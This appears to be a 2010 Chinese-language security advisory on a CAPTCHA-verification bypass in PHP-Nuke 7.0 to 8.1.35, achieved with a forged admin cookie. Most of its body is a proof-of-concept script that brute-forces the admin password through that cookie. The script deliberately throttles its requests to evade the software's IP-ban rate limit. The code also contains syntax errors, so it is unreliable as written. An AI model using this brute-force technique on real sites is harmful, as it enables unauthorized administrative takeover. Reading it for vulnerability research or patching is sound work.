PHP-Nuke绕过识别码验证漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2010-05-11

影响版本:
PHP-Nuke 7.0/7.7/8.1/8.135

程序介绍:
PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

漏洞分析:

PHP-Nuke可配置为要求识别码才可以登录,以防范暴力猜测攻击。但用户可以在提交给Web服务器的POST请求中提供伪造的Cookie来绕过识别码验证,获得非授权访问。

漏洞利用:

$http=new http();
$x=0;
foreach $wordlist as $pass{
$http->cookie="admin=".base64_encode($admin_name.":".md5($pass).":").";";
$resp=$http->send("http://127.0.0.1/admin.php");
if(!strstr($resp,"Administration System Login")){
break;
}
//This stays below ipban.php's rate limit of less than 5 requests per 2 seconds.
if(!($x%4)){
sleep(2);
}
$x++;
}
if(!strstr($resp,"Administration System Login"))){
print "password:$passn";
}else{
print "password not foundn"
}


解决方案:
厂商补丁:
PHP-Nuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://phpnuke.org/